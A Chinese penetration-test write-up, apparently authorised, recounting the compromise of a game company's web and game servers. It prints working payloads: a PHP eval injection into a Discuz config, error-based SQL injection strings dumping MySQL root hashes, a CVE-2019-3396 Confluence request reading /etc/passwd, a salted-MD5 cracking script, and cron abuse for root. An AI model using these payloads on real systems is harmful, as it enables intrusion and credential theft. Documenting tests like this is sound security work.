最近接了很多游戏厂商的活,大部分都是靠代码审计莽过去的,可见代码审计的重要性。
先稍微收集了一下信息。
主站:thinkphp3.2.3
论坛:Discuz! X3.3
均在同一服务器,同时该服务器80端口主页404但是有和主站一样的报错界面。
先后台扫描一下三者。
主站和论坛均存在.git泄露和目录遍历。
直接上GitHack扒源码。
主站大量not found,论坛则总共下载了一个文件。
不过好歹暴露了一些接口和数据库配置。
两个普通账户,localhost显然mysql无法远程登录,实际扫描也是如此。
但很快在80端口上发现phpmyadmin,两个站的账户密码均可登录。
先登录主站后台,虽然有很多图片上传点,但均无法突破。
在源码中也能看到,使用了thinkphp自带的ThinkUpload类,设定了白名单规则。
也许有别的突破点,但源码不全,后台功能也并不丰富,于是转战Discuz。
Discuz的密码带盐,但控制了数据库,直接在pre_ucenter_members中改admin的密码即可。
password:4c8e48c93667ab0bd4f06b0704d1e35e
salt:1af52c
明文:123456
顺利登陆admin.php,直奔UCenter设置。
此处有三种漏洞。
1,插配置文件getshell(PS:这种方法我一开始没有采用)
可以插在数据库密码这儿,不影响网站主体使用,需要准备一个远程mysql服务器,密码改为【test');eval($_POST[1]);//】
访问/config/config_ucenter.php
3.4版本被修复,但是可以利用UC_KEY绕过,详情见。
https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/
2,连接恶意mysql服务器进行任意文件读取
localhost换成恶意服务器地址即可。需要知道绝对路径,一般读/config/config_global.php和/config/config_ucenter.php。
3.4版本被修复
3,后台SQL注入
虽然我们已经获取了bbs的账户,但是非root账户,UC用的是root账户,因此这个SQL注入可以尝试跨库,文件读取,写入等等。
注入方法为,在UCenter 应用 ID这儿填入如下payload,提交。
1' and(updatexml(1,concat(0x7e,(select user()),0x7e),1)) #
然后再填入1,提交。这是个二次注入
由于插配置文件可能插出问题,论坛没有绝对路径(主站有),所以这三种方法中我最终选择了SQL注入。
二次注入不太方便,由于有phpmyadmin,所以先注出root的密码hash看能否解密。
1' and(updatexml(1,concat(0x7e,(select password from mysql.user where user = 'root'and host = 'localhost'),0x7e),1)) #
报错注入有位数限制,30多位,使用字符串分割函数爆出剩下的位数。
1' and(updatexml(1,concat(0x7e,substr((select password from mysql.user where user ='root' and host = 'localhost'),30,100),0x7e),1)) #
cmd5顺利解出。登陆phpmyadmin,查看文件保护。
show variables like'%secure_file_priv%';
为空意味着没有文件保护,可以正常读写。
先尝试读/etc/passwd
结果显示不出来,此时可以使用hex(),然后打印预览,得到hex在自己服务器上unhex()解出。
select hex(load_file('/etc/passwd'));
由于主站thinkphp报错泄露绝对路径,因此打算写入,结果发现没有权限。
同理,general_log方式也不行,也无法向插件目录写文件,所以udf方式也不行。
由于暂时不想插配置文件,至此告一段落。
不过很快在80端口发现了Confluence wiki。
此版本刚好CVE-2019-3396范围内。
POST /wiki/rest/tinymce/1/macro/preview HTTP/1.1
Host: test
Content-Type: application/json; charset=utf-8
Referer: test
Content-Length: 171
Connection: keep-alive
{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}
如图存在任意文件包含,可直接包含远程https服务器上的文件。
具体见https://github.com/jas502n/CVE-2019-3396
成功反弹回shell
但sudo版本和内核都较新,未发现提权点。而这个shell是confluence权限,无法读写主站和论坛,因此被迫去插配置文件。
插配置文件成功,接下来是提权。
有redis,在配置文件中发现redis密码,但2.x版本且权限很低。
无SUID,内核溢出失败,sudo版本很高,定时任务应该是云服务器自带的,没有利用的地方。
比较有意思的是passwd任务计划,是备份passwd,group,shadow等关键文件,但备份完给了一个600权限。
在/etc/group发现thomas关键用户,在sudo组里。
同时发现thomas用户被写在一个脚本里用以登录另一台服务器,server的ip在/etc/hosts被指定。也就是说这台服务器是官网服务器,server这台是游戏服务器。
可惜看起来是用sshkey登录的,不过这也说明了一旦我拿到thomas账户,等于获取了两台服务器的权限。
结合redis,mysql密码,对ssh进行针对性爆破,失败。
无奈开始去web中翻找线索,虽然wiki等系统密码都非常难以解密,无法获取明文,但我有mysql权限,可以重置其密码。
邮箱,git,一直到wiki的第一眼。
又是经典的至此渗透完毕了吗?并没有,可以看到最终更新2018年,实际密码已经变更,wiki没有继续维护了。
这里还有游戏服务器,也就是thomas可以登录的游戏服务器,发现80端口上存在游戏的运营管理平台。
有验证码无法爆破,无注入,数据库和官网服务器不在一起。
于是在对方git中获得源码开始审计。
首先有经典的thinkphp日志泄露
但是解不出来,查看登陆接口代码。
md5($username.'#'.$password),相当于加了盐,用python拿针对性字典,生成一个彩虹表。
import hashlib
username = "admin"
list = open("password.dict","r")
for i in list.readlines():
i = i.replace("x0a","")
i = username+"#"+i
hl = hashlib.md5()
hl.update(i.encode("utf-8"))
i = hl.hexdigest()+" "+i
print(i)
fo = open("md5.txt","a")
fo.write(i+"x0a")
对比md5值,成功登陆
有源码,很容易在后台找到注入点。
此处可以用area参数切换库来注入,不过很遗憾,两个库都不是root用户,无法利用。
接下来找文件上传,但是使用了专门的文件服务器,见oosUpload()
注意后面有个unlink(),很显然,是先传到服务器上,再传到oos上,有可能条件竞争。不过跟了一下uploadPicOne(),还是用的原生ThinkUpload类,白名单+随机命名,无法突破。
文件上传不能利用,却柳暗花明,发现一处愚蠢的查询日志的命令拼接。
使用wget getshell。
也是www-data权限,内核依旧相当难提权。
继续翻找文件,发现ooskey,暂时不用。又在wiki中发现了这么一句话。
每天凌晨运行,如图www权限刚好可以修改此文件。
但我不太确定此任务计划是否在执行,以及是用什么权限执行,于是在此文件中加入一段代码。
凌晨之后,发现成功执行,是用thomas用户执行的。
那么在crontab.php中加入反弹shell的命令,等第二天凌晨,获得shell。
直接sudo能行吗?
答案是不行,第一次sudo需要输入密码。
不过,没事,我们依旧从任务计划中想办法。
先ssh到另外一台服务器上,两者互相有sshkey。
然后wiki上关于任务计划还有这么一句。
是的,这个文件,thomas权限可以修改
同样的利用方式,我们获取了root权限shell
至此渗透完毕
扫码关注:
本文始发于微信公众号(聚鼎安全):授权渗透某游戏厂商
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论